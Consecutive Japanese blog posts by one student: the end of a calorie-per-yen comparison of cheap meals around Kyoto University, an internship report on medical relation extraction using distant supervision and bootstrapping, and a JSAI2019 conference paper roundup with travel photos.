かしわのすき焼き風 317 23.2 19.2 220 1.44
照り焼きチキン 465 31.7 25.7 308 1.51
豆と野菜のスープ煮 175 9.0 8.5 176 1.00
回鍋肉 281 13.1 18.8 264 1.06
カレイの煮付け 93 10.4 0.8 176 0.53
ハンバーグおろしソース 271 14.1 14.4 264 1.03
若鶏醤油揚げ 194 13.1 8.4 176 1.10
豚汁 100 6.0 3.8 110 0.90
白米L 561 7.2 0.0 138 4.07

学食は何と言っても自分で量やメニューを調節できるのが魅力です。これ以外にも小皿の野菜の付け合わせなどがあり、不足しがちな野菜も補うことができます*4

例えばハンバーグおろしソース+豚汁+白米Mをチョイスした場合、カロリー比は932/512=1.82となり、コンビニのお弁当とは一線を画す戦闘力を発揮します。値段をある程度抑えつつ必要なカロリー・栄養素を摂取できる学食は積極的に活用を検討しても良いと思います。

ちなみに白米の価格設定はマクドのポテト同様サイズが大きくなるにつれお得となっており、Mでは408/115=3.55、LLを召喚すると918/181=5.07まで上がります。

また、京大の食堂にはミールという奴隷契約お得なサブスクリプションプランが存在します。1日550or1100円まで利用できる通常ミールは土曜日まで利用期間に入っているため平日ほぼ毎日利用してやっと元が取れ、土曜日までフルで利用してやっと100円弱お得になるという鬼畜仕様となっており、基本的に大学にいない京大生にとっては縁のない話でしょう。

ただし朝のみ280円まで利用できるという朝ミールは適用範囲が平日のみとなっているため、平日フルで利用すればそれなりにお得になります。毎日9時半までに起床し学校に行くことができるという稀有な京大生は検討の余地があるかもしれません。ただこれなら毎日11時までにすき家に通って朝食を食べる方がお得な気はします。

パスタを茹でる、という選択肢

ここまで外食ばかりを検討してきましたが、少しの手間で圧倒的コスパリティを得ることのできる手段が存在します。それがパスタを茹でるという選択肢です。パスタソースを買ってくれば鍋で5分程度茹でるだけで洗い物もほとんど出すことなく食事を済ませることができます。

名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
パスタ100g(茹で上がり250g) 373*5 65*6 5.74
青の洞窟 カルボナーラ 152 220 0.69
青の洞窟 ボロネーゼ 200 158 1.27

パスタソース界ではそれなりに高級な部類である青の洞窟シリーズを使っても、例えばボロネーゼの場合573/223=2.57というカロリー比を発揮します。これをもっと安価なパスタソースで代用したり、一人分のソースで150g、200gのパスタを消費することができれば、その可能性は計り知れません。うまく使いこなすことができれば一人暮らしの大きな味方になるでしょう。※デブ注意

ただし、パスタもお米に比べ吸収が早い分、腹持ちが悪いのが難点です。さっとカロリーを摂取したい朝や軽く食べる昼ごはんに向いているかもしれません。

まとめ

以上の調査を通して、次のような知見を得ることができました。

  • 油を多く含むものはカロリーが高い(当たり前)
  • おにぎりのカロリー比の上界は2程度であり、これが外食・惣菜におけるコスパの目安になりそう
  • サンドイッチ系のカロリー比はあまり高くない
  • サラダはカロリーが低い(当たり前)が、パスタ系のサラダなどはそこそこ
  • 菓子パンはカロリーが規格外に高いが、糖質・脂質が高いため使いどころが肝心
  • コンビニに比べ生協のお弁当・おにぎりはコスパが高めに設定されている
  • マクドナルドは不健康の代名詞である割にコスパはそんなによくないが、低価格帯のハンバーガー(特にチキンフィレオ)は戦闘力が高い
  • すき家は神
  • 学食はある程度のカロリー比を維持しつつ不足しがちな栄養素を補うことができる
  • 朝マック、朝ミール、すき家の学食など、朝食はコスパが高めに設定されている(なんやかんや早起きは得が多い)
  • パスタは外で買うより家で茹でた方が良い

特に朝食を外で食べるのがお得というのは普段あまり意識したことがなく、またこんなアホみたいな記事から「早起きは三文の得」という真面目な教訓が得られるのは何とも面白いなと思いました。

これを踏まえて、コスパの高い食事プランの一例を考えてみました。これに加えて財布と相談しながらサンドイッチ・サラダなどで野菜を摂取できればベストでしょう。

皆さんの普段の食事メニューを考える上で参考になれば嬉しいです。

コスパ全振り - 朝 ケーキドーナツ(4個入り) 834kcal / 162円 - 昼 牛丼(並) すきパス利用 733kcal / 280円 - 夜 家パスタ 573kcal / 223円

計 2140kcal / 665円

○ 外食フルセット - 朝 すき家のたまかけ定食(大) 773kcal / 280円 - 昼 マクドナルド(ハンバーガー+チキンクリスプ)601kcal / 220円 - 夜 外食 1200kcal / 700円

計 2574kcal / 1200円

○ 真面目に授業に出席する京大生向け - 朝 ケーキドーナツ(4個入り) 834kcal / 162円 - 昼 生協のお弁当 800kcal / 400円 - 夜 学食 800kcal / 500円

計 2534kcal / 1062円

最後に

すき家以外の牛丼御三家のヘビーユーザーや栄養管理士の方など各方面から殴られそうな内容になってしまった気もしますが、もしこの記事が読んでくれた方の生活に1mmでも役に立つことがあれば幸いです。こんなことしてる間に卒論書け

このような駄文に最後までお付き合い頂きありがとうございました。

*1:農林水産省 食事バランスガイド

*2:http://rescueliner.com/post-242/

*3:200円で1ヶ月間何回でも70円引きになるという魔法のチケット。さらに友達と行けば3人まで同時に使える

*4:体育館横のルネならサラダバーもあります

*5:https://calorie.slism.jp/101064/

*6:https://kurawaka.com/syokuhin/pasta-cost

エムスリーインターン参加記

お久しぶりです、nosukeruです。

今回は、9月の上旬2週間でエムスリーさんのAIチームでインターンとして働かせて頂いたので、その参加記を書きます。

イントロ

自然言語処理の分野の一つに情報抽出(Information Extraction)というものがあります。これは非構造化されていない(普通の)文章から何らかの情報や構造を抽出したいというタスクです。今回取り組んだのははその中でも特に関係抽出(Relation Extraction)と呼ばれるタスクであり、文章中の特定の単語の組の間の関係性を抽出することを目指します。

モチベーションとしては、Web上に転がっている大量の文章から自動で有益な情報や構造を抜き出し、それをデータベース化して検索に有効利用したり、知識グラフに取り込んで質問応答に活用したりしたいというのがあります。

Steve Jobs co-founded Apple in 1982.

→ (person: Steve Jobs, is founder of, company: Apple)

Steve Jobs died in 2019 the day before Apple revealed iPhone 10.

→ (person: Steve Jobs, no relation, company: Apple)

リレンザという薬剤は主にインフルエンザを治療する目的で処方されます。

→ (medicine: リレンザ, treats, disease: インフルエンザ)

1つ目のように属性のついた単語のペアについてその文章中での関係性を分類することが目標になります。また2つ目の例のように他の文章では関係性を持ちうる単語のペアであっても、その文章中にはその関係性が現れていないという場合もあります。また今回対象にするのは3つ目のような日本語の、特に医療に関する文章であり、英語と異なる語順をどう扱うかが一つの課題となります。

関連研究

Distant Supervised Learning

関係抽出の分野では中心的に使われる手法の一つで、「特定の関係性をもつ単語の組が現れる文は何らかの形でその関係性を表現していることが多い」という仮説のもと、既存のデータベースに存在する関係ペア(entity1, relation, entity2)に対し(entity1, entity2)を含む文章を全てrelationでラベルづけしてしまうことで、通常の教師あり学習に落とし込みます。(entity1, entity2)を含む文章であってもrelationを表していないことも多々ありますが、他の大部分の正解ラベルによりこれらの影響は十分小さくなると考えます。*1

f:id:ey_nosukeru:20191005192306p:plain
データベース内のペアを含む文章を抜き出し、ラベルづけする

上の例では、既存データベースに存在する(Steve Jobs, founders, Apple)という関係ペアを用い、(Steve Jobs, Apple)という単語ペアを含む文章に全て"founders"というラベルをつけ、文章の特徴を元にラベルの分類を行うモデルを学習します。こうすることで"Bill gates was the co-founder of Microsoft."といったように学習データに似た文章が出てきた際に(Bill gates, founders, Microsoft)という関係性をうまく抽出できることが期待されます。

Bootstrapping

これもDistant Supervised Learningと同様半教師あり学習の主流な手法の一つです。まず最初少ないラベルつきデータでモデルを学習させ、このモデルで他のデータに対する識別を行います。その際に高い確信度で判定されたデータを正しいラベルづけとみなして教師データに追加します。そしてこの新しく追加された教師データを含めてモデルを再学習し、...というのを収束するまで繰り返してラベルつきデータを増やしていくものです。モデルの出力結果を教師データとして用いるので学習が暴発してしまう恐れもありますが、今回のように少数のラベルを用いて新しいサンプルを見つけてきたいという場合に適用しやすいのが強みです。

関係抽出においてはこれをDistant Supervised Learningと組み合わせて用いることで、少数の関係性データを用いて文章中から新しい関係性を抽出していくことができます。

やったこと

エムスリー社内の文章データを使い、そこから疾患や薬品等の間の何らかの関係を抽出することを目標として技術検証に取り組みました。

実用的には得られた関係性を知識としてデータベースに蓄積していき、そのデータ自体の活用・ユーザーに提供する他、そのデータを使って薬品同士・疾患同士の関連性を測ることで関連ページの推薦精度を改善することなどを目指しています。

実験内容

具体的な内容としては、まず社内の疾患・薬品間の投与関係(この疾患に対してはこの薬品を投与するのが有効、といった関係)のデータベースを用いてDistant Supervisionの枠組みでラベルづけを行い、手法の有効性を検証する実験を行いました。

次にBootstrappingの枠組みで、少量の関係性データのみから文章中に存在する新しい関係性をどれだけ発見できるかを調べる実験を行いました。関係性としては投与関係に加え、既存データベースのない新しい関係性として疾患と薬品の副作用関係(この薬品を投与するとこの疾患が副作用として生じる可能性がある)を対象としました。初期データとしては投与関係についてはデータベースのうち文章中に出現するもの100件を、副作用関係については「副作用」というワードを含む文から手動で100件を抽出したものを用いました。

文章の特徴量については、関連研究など英語の文章に対しては語順の影響で単語の関係性を表す単語がそれらの単語の間の位置に出現することが多く、この単語の間の単語列を特徴量として用いることが多いのですが、日本語では語順が異なるためこれをそのまま適用することは難しいです。そこで関連研究でも言及されている構文木を活用した特徴量を用いました。具体的には、構文木上で2つの単語の間を結ぶパスの単語列がその関係性に影響している可能性が高いと考えられるらしく、このパス上に出現する単語列を特徴量として用いました。パス上の単語列だけでは不十分なケースが見られたため、このパスの周りに出現する単語も含めて単語列としました。

f:id:ey_nosukeru:20191005195922p:plain
リレンザという薬剤は主にインフルエンザを治療する目的で処方されます。」という文章に対する構文木の例

上の例ではパス上の単語列は「薬剤、処方、目的、治療する」、周りの単語も含めると「いう、薬剤、処方、され、主に、目的、治療する」(助詞等除く)となります。今回の文章が短いためほぼ全ての単語を拾ってしまっていますが、前後に別の文脈がくっついている場合などにはその部分を除去して2つの単語に関係する単語のみを引っ張ってくることができそうです。

また、実験の事前調査として文章全体の単語の出現頻度や、Distant Supervisionでラベルづけした時の正例・負例ごとの単語の出現頻度を調べたところ、関係ペアに共起しやすい特定の単語が存在することがわかりました。そこでこの単語の出現頻度のみを用いるナイーブベイズモデルをシンプルなベースラインとして扱うことにしました。

実験結果

実験の結果、Distant Supervised Learningの実験では既存のデータベースに存在する投与関係の多くを正しく抽出できていたほか、既存データのない新しい投与関係(最近の実験によりその有効性が確認されたもの)についても一部を抽出できていました。またBootstrappingの実験でも初期データ100件に対して60〜80件程度と少量ではあるもののある程度の精度で新しい関係性を抽出することができました。

また事前調査や実験全体を通して、以下のような知見や考察を得ることができました。

Distant Supervised Learning

  • 単純に構文木上のパスに出現する単語だけを用いるよりもその周囲の単語も特徴量として使った方が精度が上がる(パス上の単語だけでは特徴を表しきれていない場合があるため)
  • 出現した単語全ての頻度を使うより重要そうな一部の単語に絞った方が精度が上がる(訓練データの分布に過適合してしまうため)
  • 今回用いたデータではテンプレ的な文章が多く含まれており(〇〇患者を対象に〇〇薬の有効性を確認する実験を行ったところ…・〇〇薬の副作用としては〇〇が確認された…等)、シンプルな手法でもある程度の予測が可能
  • 投与関係として誤って抽出してしまっているケース
    • 「<疾患A>患者を対象に<薬剤B>の薬剤の〇〇効果を検証したところ…」「<疾患A>の既往歴のない患者に<薬剤B>を…」といったように患者についての条件が疾患になっているが、その疾患は薬剤の治療対象ではない場合
    • 副作用を誤って抽出してしまっている場合
    • 薬剤を2つ以上併用して治療に用いる場合などは判断が難しい
  • 副作用関係として誤って抽出してしまっているケース
    • 「<薬剤A>群では<疾患B>が、<薬剤C>群では<疾患D>が…」といった並列関係を誤って(<薬剤A>, <疾患D>)として抽出してしまう場合
    • 「<疾患A>等の副作用は見られなかった」などの否定を捉えられていない場合
  • 語彙レベル・文法レベルで改善の余地あり
  • 訓練済みのモデルで訓練データに対して推論を行なっても精度が低い・確信度が低い
→ 特徴量が十分でない・モデルの表現力が低い可能性

Bootstrapping

  • 文章データの量に対してあまり多くの関係性を抽出できていない
→ Distant Supervised Learningの仕組み上、単語のペアが他の文章中に出現しないとラベルづけが変化しない。特定の疾患と薬品ペアの出現頻度が低いのが原因?
→ テンプレ的な文章が多い(文章のバラエティが低い)ため、新規の文章特徴量が学習されにくい?
  • Bootstrappingの実験で、副作用関係よりも投与関係の方が多い
→ 「副作用」というキーワードで最初のデータを作っているため、文章のパターンに偏りが生じてしまっている? 
→ 学習を収束させずに多くの関係性を抽出するには文章のバラエティが重要
  • 閾値を上げると学習が収束しやすくなり、下げるとノイズが混ざりやすくなり抽出された文章の質が下がってしまう。閾値の適切な決定が課題

実際の運用に向けて

今回のモデルでは精度・抽出数ともに十分とは言えず、実用化に向けては

  • 単語の出現頻度以外の特徴量として品詞・依存関係など構文解析の情報、単語の順番、単語の意味情報(Word2Vecなどの埋め込み)を用いる
  • それに伴いNNなど表現力の高いモデルを用いる

といった改善が必要だと考えられます。しかしそれでも誤抽出は避けられない課題として存在し、サービスとしての実用を考える上ではそれを補うための人手によるラベリングとモデルの推論をどう組み合わせていくかを考えるのが重要であり、単純な精度・抽出数に加え推論の解釈可能性や、文章に対するラベルづけの影響度などを計算することが必要になってきそうです。

得られた学び

地道なデータ分析の大切さ

普段は新しめの強化学習などの論文などをメインで読んでいるため発想が「とりあえず脳死ニューラルネットベースに突っ込んでみる」みたいな安直な思考になってしまっており、今回もサーベイで読んだCNNベースな手法をいきなり実装してみようなどとしていたのですが、メンターさんのアドバイスでとりあえず各単語のエンティティとの共起確率から調べることになりました。その結果各関係性に共起しやすい単語や副作用関係・薬の併用関係・合併症の関係を表しそうな単語の候補、またベースラインとしてのナイーブベイズモデルの有効性など、いきなりニューラルネットを用いた場合では得られなかった基本的な知見を多く得ることができました。この経験を通して基本的なデータ分析や基本的なモデルから徐々にステップアップして実験を進めていくプロセスの重要性を学ぶことができました。

知見の共有

今回の基礎研究のインターンに取り組むにあたって、アウトプットとしてはモデルのプログラムや実験の結果よりも、それらの分析から得られる知見をチームに共有することを心がけるように指導してもらいました。そのため単にモデルを実装して実験の結果を報告するだけではなく、単語の頻度を分析してその傾向を調べる、単純な精度で結果を報告するのではなくうまくいったケース・いかなかったケースそれぞれについてその文の傾向を観察することなどを心がけて行いました。この考え方は期間の短いインターンだけでなく普段の業務、特に新規サービスや機能の開発において短いスパンで試行錯誤を繰り返す必要のある場合に大切な考え方だと思いました。

ビジネスの部分まで踏み込んで考える

今回のインターンの反省の一つとして、与えられたタスク(関係抽出に関する基礎調査)をこなすことに精一杯で、何のためにその調査をしているのか、将来的にどのようなサービスに用いることを想定しているのか、実用に当たってどういう要素が重要になるのか、といったことを自分で考えたりチームの人に聞いたりしないまま作業を進めてしまった部分がありました。エムスリーのAIチームではML専門、インフラ専門といったように業務の切り分けをせず、またビジネス面まで踏み込んでエンジニアがサービスの品質・価値に関わる全ての業務に責任を持つという風土があり、エンジニアとしての働き方を考える上で非常に勉強になりました。

最後に

ビジネス面を含め、実際の業務におけるデータ分析・MLのプロセスを身を以て学ぶことができ、とても有意義な経験になりました。また業務の一部として社内の定期ミーティングに参加させて頂けたのも、開発スケジュールや検証の進め方などの雰囲気を感じる上で貴重な経験でした。今回のインターンで学んだことをしっかり消化し今後の研究生活やエンジニアリングに生かしていきたいと思います。ありがとうございました。

参考文献

Distant supervision for relation extraction without labeled data

Distant Supervision for Relation Extraction via Piecewise Convolutional Neural Networks

A Survey on Open Information Extraction

*1:Multi-Instance Learningという考え方を用いてこの部分をより正確に扱った研究もあります。

JSAI2019レポート(2)

JSAIレポート(1)の続きです。

グラフ

グラフ畳み込み層を有する敵対的生成ネットワークによる推薦システムの提案

https://confit.atlas.jp/guide/event-img/jsai2019/1J2-J-6-01/public/pdf?type=in

ユーザーの特徴ベクトルとアイテムの特徴ベクトルから尤もらしい嗜好グラフを生成するGeneratorと、与えられたグラフが本物かどうかを判定するグラフ畳み込み層持ちのDiscriminatorを敵対的に学習させる(GCGAN)ことでユーザー・アイテム間の関係を学習するというもの。正直2部グラフって実質ただのベクトルの集まりだし、グラフ使わなくてもいけるのでは...とか思ったりするのですが、これでうまく行ってしまうからGNNは困ったもんですね。(褒めてる)

f:id:ey_nosukeru:20190704002404p:plain

関連: Graph Convolutional Matrix Completion, CF-GAN, GraphGAN

グラフ上の問題に対する難しいインスタンスの自動生成

我らが(研究室の)偉大な先輩である@joisinoさんの発表。TSPなどのグラフ上の問題に対する既存のアルゴリズムが苦戦する(解くのに時間がかかる)ようなグラフインスタンス強化学習で生成してしまおうというもの。問題設定は即時強化学習(状態が一定)で、グラフを確率的な接続行列で表現してそれを行動とし、既存アルゴリズムが解くのに要した時間を報酬として強化学習を走らせる。

https://confit.atlas.jp/guide/event-img/jsai2019/1Q3-J-2-04/public/pdf?type=in

こんなところにも強化学習が適応できるのかと目から鱗な発表でした。

その他

双曲空間上での単語および文章の意味の構造の埋め込みとその可視的な分析

https://confit.atlas.jp/guide/event-img/jsai2019/1J2-J-6-02/public/pdf?type=in

f:id:ey_nosukeru:20190704004001p:plain:w350
f:id:ey_nosukeru:20190704003942p:plain:w350

ポアンカレ円盤モデルという上の距離を入れた空間では、木構造のような親子構造をもつデータを可視的にうまく埋め込むことができることが知られている(Poincare Embedding)。これをarxiv上の論文をword2vec/doc2vecで変換してやってみたという発表。

f:id:ey_nosukeru:20190704004311p:plain

即実用可能!というレベルの精度は出てないみたいですがこういう埋め込みがあるのは知らなかったので興味深いです。

関連: Poincare Embedding

Pixyz: 複雑な深層生成モデル開発のためのフレームワーク

https://confit.atlas.jp/guide/event-img/jsai2019/1L2-J-11-05/public/pdf?type=in

複雑な深層生成確率モデルをコーディングするためのPythonフレームワークPixyzを作っているのでその紹介という珍しいタイプの発表。内部の複雑なニューラルネットアーキテクチャを隠蔽し、外からは単純な確率モデルとして扱うことができ、その誤差やKLダイバージェンスを数式をそのまま書くように直感的かつ簡単にかけるというのが特徴。

f:id:ey_nosukeru:20190704004935p:plain

機能や速度面はまだ改良途中のようですが誤差やサンプリングが簡単にかけるというのはかなり大きなメリットだと思うので複雑なモデルを書くときは検討してみたいです。

Between-class Learning for Image Classification

https://confit.atlas.jp/guide/event-img/jsai2019/3E4-OS-12b-02/public/pdf?type=in

異なるカテゴリに属する二つのサンプルを一定の比率で合成し、その合成比率を出力させるようなモデルを学習させることで判別的な(クラスの分離度が高い)特徴空間が学習されるというもの。

f:id:ey_nosukeru:20190704010032p:plain:w300

f:id:ey_nosukeru:20190704010236p:plain

考え方は至ってシンプルながら斬新な手法で非常に興味深いです。不変学習との関連もあるか?

VAE-GANとAttentionを活用した異常検出手法

https://confit.atlas.jp/guide/event-img/jsai2019/4P3-J-10-02/public/pdf?type=in

VAEで画像を再構成した際の復元誤差によって異常度を測る手法は前からあったが、元々の画像に含まれるノイズも異常として検出されてしまうというノイズへの脆弱性があった。そこでGrad-CAMに基づいてAttentionを算出し、それを元の復元誤差にかけ合わせることで、Attentionの低い部分のノイズに対する頑健性を向上させることができるというもの。

f:id:ey_nosukeru:20190704152911p:plain

画像の"写真らしさ"に関する数学的アプローチについて

https://confit.atlas.jp/guide/event-img/jsai2019/3K3-J-2-05/public/pdf?type=in

今回の学会の中でも異色な発表で、数学科の方が機械学習を全く使わず完全に数学的な特徴によって「写真」とそれ以外を識別することはできないかという試みの発表。画像の色の偏りに注目し、画像を複数のブロックに区切って画素値を0/1に変換した際に初めてそれらが全て同じ値になるようなブロックの大きさの最小値により画像の「深さ」を定義し、それが一定以下のものを準写真と定義している。

f:id:ey_nosukeru:20190704153920p:plain

そもそもの「人間は生まれながら(学習なしに)写真とそれ以外を区別する能力を持っている」という仮定や閾値が本当に妥当かということについては議論の余地がありそうですが、この手法が最近よく聞くパーシステントホモロジーの文脈から着想を得ていることや試み自体のアイデアについては非常に面白く、参考になりました。

貢献度分配を導入した方策勾配によるNeural Architecture Searchの高速化

https://confit.atlas.jp/guide/event-img/jsai2019/2P3-J-2-02/public/pdf?type=in

ニューラルネットアーキテクチャを自動で最適化するNeural Architecture Searchという分野があり、その中でもパラメータの最適化とアーキテクチャの最適化を同時に行うone-shotな手法が近年注目されている。各レイヤーをノードとみなしてそれらの間のオペレーション(畳み込み・プーリング・全結合など、恒等写像・ゼロ写像を含む)を適切に選択することで幅広いアーキテクチャの中から最適なものを見つけ出す。各オペレーションに対する最適なパラメータを保持しておくことでアーキテクチャとパラメータを同時に最適化できる。

従来の手法では全体の識別精度を元にモデルに Rという評価値を与え、この勾配に基づいてパラメータやアーキテクチャを更新していたが、 Rに対する貢献度はそれぞれのオペレーションによって異なるので、この貢献度をそれぞれのオペレーションの選択 aについての R偏微分値を用いて評価するようにしたことで、安定性・性能が向上した。

f:id:ey_nosukeru:20190704155544p:plain:w300

全体的な感想

最近注目を集めているグラフニューラルネット系の話題が少なかったのが意外でした。その一方で強化学習の話題が理論・応用ともに非常に多く、強化学習系に興味がある身としては参考になったと同時にホットな分野なんだと感じて嬉しかったです。

まだがっつり研究を始めている訳ではないので提案手法が直接ヒントになったとかはあまりなかったですが、不変学習をはじめとして新しい分野を知ることができたり、最新の研究の周辺知識(GAIL、エントロピー最大化逆強化学習、メタ学習等)としてどういうものがあってこれから勉強していかなければならないかが掴めたという点でとても有意義な機会でした。

おまけ

f:id:ey_nosukeru:20190704160632j:plain
万代シルバーホテル ツインでしたが朝食付きで3泊1諭吉ぐらいで泊まれました。立地も最高なので新潟駅前で泊まるならここ

f:id:ey_nosukeru:20190704160615j:plain f:id:ey_nosukeru:20190704160638j:plain
会場付近の町の様子

f:id:ey_nosukeru:20190704160628j:plain
何かと話題のNGT劇場

f:id:ey_nosukeru:20190704160603j:plain
懇親会での地酒試飲会の様子

f:id:ey_nosukeru:20190704160608j:plain
そば @須坂屋そば 新潟駅前店

f:id:ey_nosukeru:20190704160612j:plain
マグロづくし @富寿し 新潟万代店

f:id:ey_nosukeru:20190704160618j:plain
イムリーに開催されていたラーメンフェス

f:id:ey_nosukeru:20190704160623j:plain
磯のり醤油ラーメン @麺や 麺五郎 駅前店

f:id:ey_nosukeru:20190704160600j:plain
回らない寿司(のどぐろ) @ 立ち食い弁慶 比較的リーズナブルに高級感ある寿司が食べれてオススメです

以上です。最後までお読み頂きありがとうございました!